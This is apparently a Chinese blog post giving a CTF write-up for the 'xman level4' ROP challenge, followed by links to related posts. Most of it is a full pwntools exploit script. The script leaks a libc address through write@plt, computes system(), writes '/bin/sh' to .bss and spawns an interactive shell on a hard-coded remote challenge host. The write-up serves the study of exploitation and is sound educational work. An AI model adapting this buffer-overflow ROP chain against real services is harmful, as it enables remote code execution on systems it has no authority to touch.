关闭

xman level4//一步一步rop level2 writeup

454人阅读 评论(2) 收藏 举报

这道题在没libc的情况下考泄露地址,两个方法,一个read之后直接pop三个栈参数再返回system,另一个重新返回vulnerable,只不过read(8字节),所以是send,不是sendline啊

另外一个大坑点在dynelf的使用,只能通过它泄漏偏移,然后用不带它的再写一遍

传说中的不用libc的另一方法http://www.cnblogs.com/wangaohui/p/5123992.html

from pwn import *

p=remote('218.2.197.235',20433)
elf=ELF('./level4')
write_plt=elf.symbols['write']
read_plt=elf.symbols['read']
vul=0x0804844B
bss=0x0804A024
def leak(add):
        payload='A'*(0x88+4)+p32(write_plt)+p32(vul)+p32(1)+p32(add)+p32(4)
        p.sendline(payload)
        addc=p.recv(4)
        return addc
#d = DynELF(leak, elf=ELF('./level4'))

#system_addr = d.lookup('system', 'libc')
#print "system_addr=" + hex(system_addr)
#payload='A'*(0x88+4)+p32(read_plt)+p32(vul)+p32(0)+p32(bss)+p32(8)
#p.sendline(payload)
#p.sendline('/bin/sh\0')
#payload='A'*(0x88+4)+p32(system_addr)+p32(vul)+p32(bss)
#p.sendline(payload)
#p.interactive()
wr=leak(elf.got['write'])
offset=-0x8ab00
system_addr=u32(wr)+offset
#pppr = 0x08048509

#payload='A'*(0x88+4)+p32(read_plt)+p32(pppr)+p32(0)+p32(bss)+p32(8)+p32(system_addr) + p32(vulfun_addr) + p32(bss)

#p.sendline(payload)
#p.send("/bin/sh\0")
payload='A'*(0x88+4)+p32(read_plt)+p32(vul)+p32(0)+p32(bss)+p32(8)
p.sendline(payload)
p.send('/bin/sh\0')
payload='A'*(0x88+4)+p32(system_addr)+p32(vul)+p32(bss)
p.sendline(payload)
p.interactive()


0
0
查看评论

一步一步学ROP之linux_x86篇

0x00    本文仅解释说明蒸米大神一步一步学ROP之linux_x86篇,读者应先阅读这篇文章,遇到问题再来看我这篇文章。    阅读完这两篇文章后,我们会理解ROP(返回导向编程),DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Prot...
  • jltxgcy
  • jltxgcy
  • 2016-02-19 11:16
  • 2447

一步一步学ROP之Android ARM 32位篇

0x00    本文仅解释说明蒸米大神一步一步学ROP之Android ARM 32位篇,读者应先阅读这篇文章,遇到问题再来看我这篇文章。   0x01    第一个问题:payload = 'A'*132 + p...
  • jltxgcy
  • jltxgcy
  • 2016-02-19 17:48
  • 1955

rop入门(一)

简介: rop不同于一般的技术性框架,主要用于构建服务放开平台,您可以使用 Rop 开发类似于淘宝服务开放平台这样的服务平台 Rop 功能 架构 CXF 和 Jersey 是纯技术纯的 Web Service 框架,而在 Rop 中,Web Service 只是核心, 它提供了开发服务平台...
  • spring_great
  • spring_great
  • 2015-07-02 21:58
  • 1617

一步一步学springboot 一

Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。通过这种方式,Boot致力于在蓬勃发展的快速应用开发领域(rapid application dev...
  • u010509052
  • u010509052
  • 2017-04-23 23:12
  • 448

一步一步学ROP之gadgets和2free篇

原文: http://drops.wooyun.org/binary/10638 0x00序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)...
  • omnispace
  • omnispace
  • 2016-03-06 17:06
  • 807

180107 逆向-Xman移动安全冬令营选拔赛

1625-5 王子昂 总结《2018年1月7日》 【连续第464天总结】 A. Xman移动安全冬令营选拔赛 B. 搞完领航杯马不停蹄回来搞移动逆向,感谢主办方延长了时间~ 逆向类的题目很有意思(°∀°)ノ 脑洞/杂项类的就……(跪 返老还童 反编译查看java...
  • whklhhhh
  • whklhhhh
  • 2018-01-07 20:37
  • 103

一步一步学习ROP x86Linux

原文地址:http://drops.wooyun.org/tips/6597 0x00 序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。虽然现在大家...
  • zsj2102
  • zsj2102
  • 2017-11-16 12:09
  • 61

2017广东红帽杯pwn1_writeup:简单ROP

先来正能量一波:作为一个一直没入门pwn的小菜鸟,这一段时间一直被学弟按在地上摩擦很不爽很不爽~~~~~~~~ ------------------------------------------------------------------------------------ 先给出几个...
  • kevin66654
  • kevin66654
  • 2017-05-09 17:15
  • 743

180123 逆向-Xman结营赛(xkey、若隐若现)

1625-5 王子昂 总结《2018年1月23日》 【连续第480天总结】 A. 结营赛xkey、若隐若现 B. xkey 在被DecodeMe绕的晕头转向以后无奈换了一个题目做,简单明了地把onclick摆在脸上、调用JNI方法真是让我感动的不行 一安装就因为模拟器的API版本过低...
  • whklhhhh
  • whklhhhh
  • 2018-01-24 01:13
  • 46

XMAN选拔赛官方Writeup

XMan选拔赛官方Writeup XMan 2017 Baaa [原理] 栈溢出。 [目的] 盲打栈溢出。 [环境] Ubuntu。 [工具] gdb、objdump、python。 [步骤] 拿到题目,发现并没有给二进制,估计是盲打。nc一下,发现返回了一个地址,我们尝试不同...
  • zsj2102
  • zsj2102
  • 2017-07-20 16:22
  • 1476
    个人资料
    • 访问:1820次
    • 积分:68
    • 等级:
    • 排名:千里之外
    • 原创:5篇
    • 转载:1篇
    • 译文:0篇
    • 评论:2条
    文章存档
    最新评论